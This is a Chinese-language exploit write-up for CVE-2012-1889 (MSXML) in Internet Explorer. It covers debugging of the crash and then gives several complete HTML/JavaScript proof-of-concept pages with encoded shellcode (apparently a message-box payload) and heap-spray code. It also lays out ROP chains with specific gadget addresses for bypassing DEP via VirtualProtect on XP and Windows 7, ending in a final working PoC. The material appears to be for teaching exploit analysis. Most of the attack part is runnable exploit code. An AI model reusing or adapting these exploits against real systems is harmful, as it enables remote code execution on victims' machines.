1. 软件简介
IExplorer为微软公司开发的浏览器。
Microsoft XML Core Services(MSXML)微软XML分析程序是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务,用于处理XML中可扩展样式表语言(XSLT)。XML分析程序基于微软的元件对象模型(COM),它实质上是XML语法分析器和XPath处理器的应用编程接口(API)。语法分析器将XML数据组织成树状结构以便于处理,处理器将XML转换为超文本标记语言(HTML)用于显示。、
2. 漏洞成因
Microsoft XML Core Services 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内
存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。
具体分析过程如下:
在windows xp下,使用IE6.0,打开POC
- <html>
- <head>
- <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>
- </head>
- <body>
- <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
- <script>
- document.getElementById("15PB").object.definition(0);
- </script>
- </body>
- </html>
当defintion为对象属性时不会触发漏洞,当成方法使用填入参数时则触发崩溃
Windbg F6附加查看崩溃原因
在栈中填充数据,在windbg中0x5dd8d772 下断点
sxe dl:msxml3
bp 0x5dd8d772
- <html>
- <head>
- <title>CVE 2012-1889 PoC v2 By:15PB.Com</title>
- </head>
- <body>
- <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
- <script>
- // 获取名为15PB的对象,并将其保存到名为obj15PB实例中
- var obj15PB = document.getElementById('15PB').object;
- // 初始化数据变量srcImgPath的内容(unescape()是解码函数)
- var srcImgPath = unescape("\u0C0C\u0C0C");
- // 构建一个长度为0x1000[4096*2]字节的数据
- while (srcImgPath.length < 0x1000)
- srcImgPath += srcImgPath;
- // 构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\15PB_Com”
- srcImgPath = "\\\\15PB_Com" + srcImgPath;
- nLenth = 0x1000-4-2-1; // 4=堆长度信息 2=堆结尾信息 1=0x00
- srcImgPath = srcImgPath.substr(0, nLenth);
- // 创建一个图片元素,并将图片源路径设为srcImgPath
- var emtPic = document.createElement("img");
- emtPic.src = srcImgPath;
- emtPic.nameProp; // 返回当前图片文件名(载入路径)
- obj15PB.definition(0); // 定义对象(触发溢出)
- </script>
- </body>
- </html>
栈中的数据被覆盖为0x0C0C0C0C,从该地址取数据时异常,未映射内存
eax = [ebp-0x14] = 0xC0C0C0C0
ecx = [eax]
影响调用的三个操作
1 5dd8d751 8b45ec mov eax,dword ptr [ebp-14h]
2 ...
3 5dd8d75d 8b08 mov ecx,dword ptr [eax]
4 ...
5 5dd8d772 ff5118 call dword ptr [ecx+18h]
总结,利用栈溢出漏洞,会将[ebp-14h]溢出数据当作地址取数据,再将这个数据作为地址取0x18的偏移作为地址,call其中保存的地址,为一个三级指针,可以使用堆喷射的技术,将0x0C0C0C0C中的数据变为自己构造的shellcode,从而执行
3. 利用过程
利用思路:使内存地址0C0C0C0C的位置成为我们自己的代码,可以使用堆喷射技术(Heap Spray)
Heap Spray 原理
攻击者在使用 HeapSpray的时候 会在堆栈溢出后将EIP指向堆区 类似于0x0C0C0C0C的位置,并且在这之前会利用javascript申请大量的堆内存,并用包含SlideCode 和 Shellcode 的代码块,不断重复地占用所申请的内存空间,Slide内存一般是由200个左右的slide块组成的,每个slide块都是由大量的滑板指令(NOP或OR AL,0C)加Shellcode组成
这样只要0x0C0C0C0C命中任意一个滑板指令,都会将其引导到我们的ShellCode中
1. win xp + IE 6
在java script中,字符串是一个对象类型,保存在堆空间中,只要覆盖的堆空间超过200M大于0x0C0C0C0C就一定会使得0x0C0C0C0C的地址开始保存的为我们构造的块数据
将C shellcode转换为js shellcode
- void c_2_javascript(unsigned char* bData, int nSize)
- {
- //1.创建文件
- FILE * fpJS = nullptr;
- errno_t errRet = fopen_s(&fpJS, "JS.txt", "w");
- //2.循环转码并写入目标文件(需考虑位数为奇数的情况)
- for (int i = 0; i < nSize; i += 2)
- {
- //注意小尾存储
- if (i + 2 == nSize)
- fprintf(fpJS, "\\u%02X%02X", 0, bData[i]);
- else
- fprintf(fpJS, "\\u%02X%02X", bData[i + 1], bData[i]);
- }
- fclose(fpJS);
- }
- <html>
- <head>
- <title>CVE 2012-1889 PoC v3 By:15PB.Com</title>
- </head>
- <body>
- <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
- <script>
- // 1. 准备好Shellcode(unescape()是解码函数)
- var cShellcode = unescape(
- "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
- "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
- "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
- "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
- "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
- "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
- "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
- "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
- "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
- "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
- "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
- "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
- "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
- "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
- "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
- "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
- "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
- "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
- "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
- "\uC25D\u0010\u0000");
- // 2. 制作一块滑板数据
- // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
- var nSlideSize = 1024*1024 / 2; // 一个滑板指令区的大小(1MB)
- var nMlcHadSize = 32 / 2; // 堆头部大小
- var nStrLenSize = 4 / 2; // 堆长度信息大小
- var nTerminatorSize = 2 / 2; // 堆结尾符号大小
- var nScSize = cShellcode.length; // Shellcode大小
- var nFillSize = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
- // 2.2 填充滑板指令,制作好一块填充数据
- var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C
- var cSlideData = new Array(); // 申请一个数组对象用于保存滑板数据
- while (cFillData.length <= nSlideSize)
- cFillData += cFillData;
- cFillData = cFillData.substring(0, nFillSize);
- // 3. 填充200MB的内存区域(申请200块1MB大小的滑板数据区),试图覆盖0x0C0C0C0C
- // 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
- // 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
- // 后面的Shellcode处,进而执行Shellcode。
- for (var i = 0; i < 200; i++)
- cSlideData[i] = cFillData + cShellcode;
- // 4. 触发CVE 2012-1889漏洞
- // 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
- var obj15PB = document.getElementById('15PB').object;
- // 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
- var srcImgPath = unescape("\u0C0C\u0C0C");
- while (srcImgPath.length < 0x1000)
- srcImgPath += srcImgPath;
- srcImgPath = "\\\\15PB_Com" + srcImgPath;
- srcImgPath = srcImgPath.substr(0, 0x1000-10);
- // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
- var emtPic = document.createElement("img");
- emtPic.src = srcImgPath;
- emtPic.nameProp;
- // 4.4 定义对象obj15PB(触发溢出)
- obj15PB.definition(0);
- </script>
- </body>
- </html>
Call [eax+0x18]的内存
0C等同于nop,直到执行shellcode
2. win xp + IE 8
2.1 测试
上面的弹窗poc在IE8并不能正常触发,附加带有程序路径加参数的进程,调试查看0x0C0C0C0C并没有数据
IE 8 开启了DEP对Heap Spray做了些许限制,采用直接字符串赋值的方式会被禁止,因此需要将堆喷射时的代码修改为
- 1 //原代码
- 2 for(var i=0;i<200;i++)
- 3 {
- 4 cSlideData[i] = cFillData + cShellCode;
- 5 }
- 6
- 7 //修改后
- 8 var cBlock = cFillData + cShellCode;
- 9 for(var i=0;i<200;i++)
- 10 {
- 11 cSlideData[i] = cBlock.substr(0,cBlock.length);
- 12 }
再次测试,0x0C0C0C0C写入了数据但触发了内存访问异常
DEP的原理
DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志,令表示代码的区块拥有执行权限,而保存数据的区块仅有读写权限,进而防止数据区域内的 shellcode 执行。
DEP 的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫 SafeSEH。另一种为硬件实现,由英特尔这种CPU 硬件生产厂商固化到硬件中的, 也称作 NX保护机制。
绕过DEP的方法有两种:
1. 借用第三方应用程序及组件,利用这些程序可以申请同时支持readable、writeable、executable属性内存页的特点,结合Heap Spray技术实现shellcode的布局与执行(例如JIT Spray技术)
2. 采用代码重用的方法实现对DEP的绕过,包括利用系统API改写内存页属性、调
用执行系统命令或加载可执行文件引入外部代码、改写安全配置(IE浏览器的SafeMode标志位等),其中利用系统统API改写内存页属性是最为常见的利用方法。
用到Ret2Libc技术, 即连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列,可以调用 ZwSetInfomationProcess,VirtualProtect,VitualAlloc 一类的函数来实现关闭 DEP 的目的。
本次使用 VirtualProtect 修改内存区域为可写实现关闭 DEP。在 IE 使用的模块中找到这些ret 指令为结尾的指令序列 gadgets。在构造Ret2Libc指令序列时,我们要仔细区分系统栈和堆空间以及自己构造出的栈
2.2 定位偏移
因为必须在0x0C0C0C0C的位置就执行ret2libc,所以需要用到精准堆喷射,也就是让每一个申请的内存的固定偏移处数据都是一样的
模块基址为0x04240000 代码偏移为0x3d772
在windbg中 !heap -p -a 0x0C0C0C0C 查看堆属性 堆起始地址为0x0c070020
计算堆偏移长度
(0x0C0C0C0C – 0x0C070020)% 0x1000 /2 = 0x5FC
需要构造的4kb数据
因为用到精准堆喷,而每块的数据大小是0x1000,但是还需要对字符进行选取,用到块 大小的计算: cBlock = cBlock.substring(0,nBlockSize – 0x2)
前辈总结的经验
2.3 精准堆喷射
构造poc调试,找到准确溢出点
- <html><head>
- <title>Step2_Accurate_Heap Spray By:15PB.Com</title>
- </head>
- <body>
- <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
- <script>
- // 1. 生成Padding
- var cPadding = unescape("\u0C0C\u0C0C");
- while (cPadding.length < 0x1000)
- cPadding += cPadding;
- cPadding = cPadding.substring(0, 0x5F6);
- // 2. 制作Ret2Libc
- var cRet2Libc = unescape(
- "\u0000\u0000" + "\u1111\u1111" +
- "\u2222\u2222" + "\u3333\u3333" +
- "\u4444\u4444" + "\u5555\u5555" +
- "\u6666\u6666" + "\u7777\u7777" +
- "\u8888\u8888" + "\u9999\u9999" );
- // 3. 准备好Payload(unescape()是解码函数)
- var cPayload = unescape(
- "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
- "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
- "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
- "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
- "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
- "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
- "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
- "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
- "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
- "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
- "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
- "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
- "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
- "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
- "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
- "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
- "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
- "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
- "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
- "\uC25D\u0010\u0000");
- // 4. 准备好FillData
- // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
- var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)
- var nPadSize = cPadding.length; // Padding大小
- var nR2LSize = cRet2Libc.length; // Ret2Libc大小
- var nPySize = cPayload.length; // Shellcode大小
- var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;
- // 4.2 制作好一块填充数据
- var cFillData = unescape("\u0C0C\u0C0C");
- while (cFillData.length < nSlideSize)
- cFillData += cFillData;
- cFillData = cFillData.substring(0, nFillSize);
- // 5. 构建滑板指令数据块
- var nBlockSize = 0x40000; // 256KB
- var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
- while (cBlock.length < nBlockSize)
- cBlock += cBlock;
- cBlock = cBlock.substring(2, nBlockSize-0x21);
- // 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
- // 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
- // 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
- // 后面的Shellcode处,进而执行Shellcode。
- var cSlideData = new Array();
- for (var i = 0; i < 800; i++)
- cSlideData[i] = cBlock.substr(0, cBlock.length);
- // 7. 触发CVE 2012-1889漏洞
- // 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
- var obj15PB = document.getElementById('15PB').object;
- // 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
- var srcImgPath = unescape("\u0C0C\u0C0C");
- while (srcImgPath.length < 0x1000)
- srcImgPath += srcImgPath;
- srcImgPath = "\\\\15PB_Com" + srcImgPath;
- srcImgPath = srcImgPath.substr(0, 0x1000-10);
- // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,返回当前图片文名
- var emtPic = document.createElement("img");
- emtPic.src = srcImgPath;
- emtPic.nameProp;
- // 7.4 定义对象obj15PB(触发溢出)
- obj15PB.definition(0); </script> </body></html>
调试准确定位ret2libc
2.4 rop链1,切换执行流
分析代码调用,及寄存器环境
分析步骤:
1. eax的内容来自于栈[ebp + 0x14],而[EBP + 0x14] = 0x0c0c0c0c
2. 根据这些信息,当eax为0x0c0c0c0c时,ecx也将会是0x0c0c0c0c
3. 漏洞触发点的地址将变成:0x0c0c0c0c+0x18=0x0c0c0c24
4. 如果将0x0c0c0c24处安排成xchg eax,esp + ret 指令的地址,将会交换eax和esp 的值
5. 这样一来当执行ret指令的时候,会将0x0c0c0c0c作为指令地址,将其中的内容 当作指令地址去执行
6. 但是0x0c0c0c0c这个地址里的内容与异常点0x0c0c0c24有直接关系。 (0x0c0c0c24是由这个[0x0c0c0c0c]得到的)
解决问题:
1. 为了保证漏洞触发点是0x0c0c0c24,就要保证ecx = 0x0c0c0c0c
2. 为了保证ecx = 0x0c0c0c0c,就要保证[eax] = 0x0c0c0c0c
3. eax 是栈里的数据都是0x0c0c0c0c,[eax - 4]里也是被堆里被填充的0x0c0c0c0c
4. 将让EAX的值变成0x0c0c0c08,这样,就能保证 0x0c0c0c24 这个值的正确RET 后,esp就会自动变成0x0c0c0c0c 解决遇到的问题
5. EAX里的值来自于[EBP+0x14]
6. [EBP0x14]需要为0x0c0c0c08这个数据是构造栈溢出的值,需要修改栈溢出的值
7. 这样就能保证溢出点为 0x0c0c0c24
只需要将0x0c0c0c0c中数据改为0x0c0c0c0c并将栈空间的填充数据改为0x0c0c0c08
将66666666改为指令 xchg eax,esp#ret的地址,找到未开启随机基址的模块kernel32.dll
地址0x7c830e49 (由于windwos程序运行时要依赖微软运行时 库,所以最好在msvcrt.dll中找)
当执行完xchg eax,esp,esp为0x0c0c0c08,ret后esp指向其中的0x0c0c0c0c,还是卡住了
0417d751 mov eax,dword ptr [ebp-14h] 1. eax = [ebp-0x14] 0x0c0c0c08
0417d756 mov esi,eax 2. esi = eax 0x0c0c0c08
0417d75d mov ecx,dword ptr [eax] 3. ecx = [eax] 0x0c0c0c0c
0417d772 call dword ptr [ecx+18h] 4. call [ecx+x18] [0x0c0c0c24]
0417d778 mov eax,dword ptr [esi] 5. eax = [esi] 0x0c0c0c0c
push esi
0417d77b call dword ptr [eax+8] 6. call [eax+0x8]
步骤 2,5,6将[esi]也就是[eax]的值给了eax,再call [eax+0x8]
此时eax 0x0c0c0c08里保存的是0x0c0c0c0c,也就是call [0x0c0c0c14]
上方的push esi 会让ESP - 4 ,[ESP] = 0x0c0c0c08
将0x0c0c0c24 改为 RET 指令的地址 [eax + 8]即0x0c0c0c14处改为 xchg eax,esp + RET指令的地址调试观察 (改 0x22222222处内容),
!py mona.py fw -s ret -m kernel32.dll,0x7c80165e
- var cRet2Libc = unescape(
- "\u0c0c\u0c0c" +
- "\u1111\u1111" +
- "\u0e49\u7c83" + //xchg eax,esp;ret
- "\u3333\u3333" +
- "\u4444\u4444" +
- "\u5555\u5555" +
- "\u165e\u7c80" + //ret
- "\u7777\u7777" +
- "\u8888\u8888" +
- "\u9999\u9999" );
调试,这时0x0c0c0c0c中的值就可以改变了,直接修改为ret指令的地址,作用等同pop eip,esp = esp - 4
但是0x0c0c0c14中的地址不能修改也不能作为指令执行,需要0x0c0c0c10中的地址执行时,把它当作数据弹出来,则需要找到pop xxx,ret的指令 0x77c1cb29
构建好的转换执行流程rop链
var cRet2Libc = unescape(
"\u165e\u7c80" + // 0x0C0C0C0C | 77BEE017h : # RETN (ROP NOP)
"\ucb29\u77c1" + // 0x0C0C0C10 | 77BF398Fh : # POP EBP # RETN (Skip 4 Bytes)
"\u0e49\u7c83" + // 0x0C0C0C14 | 77C0A891h : # XCHG EAX, ESP # RETN
"\u165e\u7c80" + // 0x0C0C0C18 | 77BEE017h : # RETN (ROP NOP)
"\u165e\u7c80" + // 0x0C0C0C1C | 77BEE017h : # RETN (ROP NOP)
"\u165e\u7c80" + // 0x0C0C0C20 | 77BEE017h : # RETN (ROP NOP)
"\u165e\u7c80" + // 0x0C0C0C24 | 77BEE017h : # RETN (ROP NOP)
"\u7777\u7777" ); // 0x0C0C0C28
调用virtualprotect 在0x0c0c0c28的位置
2.4 rop链2,修改内存属性
当VirtualProtect函数调用时,需要传参,将ESP里安排成必要的参数0x0C0C0C28 VirtualProtect函数有一个传出参数,这个变量的地址要填写,在msvcrt.dll当中找一个具有写入属性的PE节。 由于节在内存中对齐后通常最后边的内容都是无用的,所以可以用最后四个字节
找到virtualProtect的地址,0x7C801ad4
在模块中找到一块可写属性的用于接收传出原属性的地址
lm v m msvcrt查看模块信息
查看.data段属性,找到最后四个字节
0x77be0000+0x54000-4 = 0x77c33ffc
2.5 验证
完整的rop链
0c0c0c08 0x0c0c0c0c
3. 0c0c0c0c 0x7c80165e ret
4. 0c0c0c10 0x77c1cb29 pop edx#ret
2. 0c0c0c14 0x7c830e49 xchg eax,esp#ret
5. 0c0c0c18 0x7c80165e ret
6. 0c0c0c1c 0x7c80165e ret
7. 0c0c0c20 0x7c80165e ret
1. 0c0c0c24 0x7c80165e ret
8. 0c0c0c28 0x7C801ad4 Run VirtualProtect
0c0c0c2c 0x0c0c0c40 RetAddr
0c0c0c30 0x0c0c0c40 |- lpAddr
0c0c0c34 0x00001000 |- dwSize
0c0c0c38 0x00000040 |- NewProc
0c0c0c3c 0x77c33ffc |- &OldProc
0c0c0c40 shellcode
单步执行
运行到shellcode
g
3. win 7 + IE 8
Win7中多了一个aslr保护
只有这三个模块未开启
重启验证确实未改变,
使用mona找到对应gadget地址
Ret 0x6d431029
pop ecx#ret 0x6d4331e3
Xchg eax,esp#ret 0x6d737cb3
传出地址,找到数据段最后四字节
ssv.dll 6d730000+22000-4 = 6d751ffc
构造rop链
VirtualProtect 0x77502341
4. POC
- // 3. 准备好Payload(unescape()是解码函数)
- var cPayload = unescape(
- "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
- "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
- "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
- "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
- "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
- "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
- "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
- "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
- "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
- "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
- "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
- "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
- "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
- "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
- "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
- "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
- "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
- "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
- "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
- "\uC25D\u0010\u0000");
- // 4. 准备好FillData
- // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
- var nSlideSize = 0x1000; // 一个滑板指令块的大小(4KB)
- var nPadSize = cPadding.length; // Padding大小
- var nR2LSize = cRet2Libc.length; // Ret2Libc大小
- var nPySize = cPayload.length; // Shellcode大小
- var nFillSize = nSlideSize-nPadSize-nR2LSize-nPySize;
- // 4.2 制作好一块填充数据
- var cFillData = unescape("\u0C0C\u0C0C");
- while (cFillData.length < nSlideSize)
- cFillData += cFillData;
- cFillData = cFillData.substring(0, nFillSize);
- // 5. 构建滑板指令数据块
- var nBlockSize = 0x40000; // 256KB
- var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
- while (cBlock.length < nBlockSize)
- cBlock += cBlock;
- cBlock = cBlock.substring(2, nBlockSize-0x21);
- // 6. 填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
- // 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
- // 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
- // 后面的Shellcode处,进而执行Shellcode。
- var cSlideData = new Array();
- for (var i = 0; i < 800; i++)
- cSlideData[i] = cBlock.substr(0, cBlock.length);
- // 7. 触发CVE 2012-1889漏洞
- // 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
- var obj15PB = document.getElementById('15PB').object;
- // 7.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
- var srcImgPath = unescape("\u0C0C\u0C08");
- while (srcImgPath.length < 0x1000)
- srcImgPath += srcImgPath;
- srcImgPath = "\\\\15PB_Com" + srcImgPath;
- srcImgPath = srcImgPath.substr(0, 0x1000-10);
- // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
- var emtPic = document.createElement("img");
- emtPic.src = srcImgPath;
- emtPic.nameProp;
- // 7.4 定义对象obj15PB(触发溢出)
- obj15PB.definition(0);
- </script>
- </body>
- </html>
5. 结语
暴雷漏洞涉及js,将对象属性difintion加参数作为方法调用,触发漏洞,并覆盖栈空间,使得将重要call 改为溢出的数据0x0c0c0c0c,使用精准堆喷射的技术,准确的将溢出点改为自己构造的ret2libc,但是根据触发漏洞的上下文分析,又将溢出数据改为0x0c0c0c08,从而做到在构造第一层rop链改变执行流程到修改内存属性的地址0x0c0c0c28。
这次分析加强了对堆喷射,ret2libc技术的使用,构造rop链过程中,要单步梳理并结合触发环境和寄存器环境上下文。找到的指令地址需要验证有效性,整个漏洞触发验证环节需要步步跟进,排除干扰因素,防止前面的步骤错误影响实验流程